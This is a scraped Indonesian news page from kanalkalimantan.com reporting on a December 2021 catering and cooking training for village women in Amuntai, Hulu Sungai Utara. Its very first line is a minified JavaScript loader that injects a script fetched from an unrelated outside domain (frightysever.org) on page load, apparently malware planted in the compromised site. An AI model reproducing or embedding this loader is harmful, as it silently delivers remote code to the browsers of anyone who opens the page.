(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Upaya meningkatkan kualitas kaum perempuan di desa, sentra boga Marissa Catering (MC) Organizer Amuntai membagikan berbagai resep membikin kue dan makanan untuk usaha mandiri.
“Kegiatan ini merupakan program pemerintah yaitu peningkatan sumber daya manusia, peningkatan kualitas perempuan desa dan peningkatan ekonomi masyarakat lapangan usaha. Tujuan akhirnya pengentasan kemiskinan di Hulu Sungai Utara,” kata Manager MC Organizer, Elisa Ramadhani, di sela kegiatan kepada kanalkalimantan.com, Kamis (9/12/2021).
Marissa sapaan akrab Elisa ini menyebut resep-resep membikin kue modern dan aneka makanan enak ini tentu sebelumnya menjadi rahasia dapur dari MC Organizer dibagikan kepada peserta pelatihan.
Marissa menambahkan, berbagai resep tersebut sebagai materi pelatihan tata boga hasil kerjasama dengan pemerintahan desa. Seperti yang dilaksanakan bersama Pemerintahan Desa Pulau Tambak, Kecamatan Amuntai Selatan, selama empat hari 6-9 Desember 2021.
Baca juga: Sekda HSU Akui Uang 100 Juta Disita KPK dari Rumahnya
Bekerjasama dengan pemerintah desa di Kabupaten HSU, pihaknya menyediakan sendiri berbagai perlengkapan memasak dan bahan agar tidak merepotkan pihak desa dan peserta pelatihan.
Agar kaum perempuan di desa di Kabupaten HSU dapat membuat kelompok sentra boga, sehingga hasil proses pelatihan ini nantinya dapat dibantu dan diarahkan melalui dana desa atau Badan Usaha Milik Desa (BUMDes)
“Siapa tahu nanti yang berkembang bisa menghasilkan produk terkenal, dipasarkan ke luar daerah,” ucap Marissa.
MC Organizer selama ini tidak hanya memberi pelatihan boga, juga mengajarkan tehnik pemasaran secara online kepada peserta pelatihan.
Baca juga: Ini Kata Bupati Eddy Raya Soal Pendidikan di Barsel
Selain itu, setelah pelatihan selesai, MC Organizer masih tetap memberikan bimbingan, serta membina alumni yang tersebar di HSU dan luar Kabupaten HSU dengan membentuk group WhatApps (WA group). Alumni pelatihan bisa berkomunikasi dan mendapat arahan dari MC Organizer sampai berhasil mengembangkan usahanya.
Kepala Desa Pulau Tambak, Royani berharap pelatihan ini dapat memberikan manfaat, keahlian serta mata pencaharian tambahan bagi warga desa. Terutama bagi kaum perempuan untuk meningkatkan pendapatan keluarga.
Royani menyebut, sebagai salah satu Desa Sentra Anyaman di Kabupaten HSU, ia mengakui selama ini kaum perempuan di desanya kebanyakan para pengrajin anyaman. Keahlian dan keterampilan yang baru didapatkan ini nantinya warga juga dapat membuat usaha baru selain kerajinan anyaman.
“Saya harap sebagian warga di desa ada yang bikin usaha sendiri, misalnya warung makan,” ujarnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, KANDANGAN - Kepala Dinas Pekerjaan Umum dan Penataan Ruang Provinsi Kalimantan Selatan, Ahmad Solhan… Read More
Nenek Fatimah Bersedia Mundurkan Lapak Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas, Panitia khusus (Pansus) III… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencegahan pemberantasan narkotika di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) terus digencarkan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More
KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More
This website uses cookies.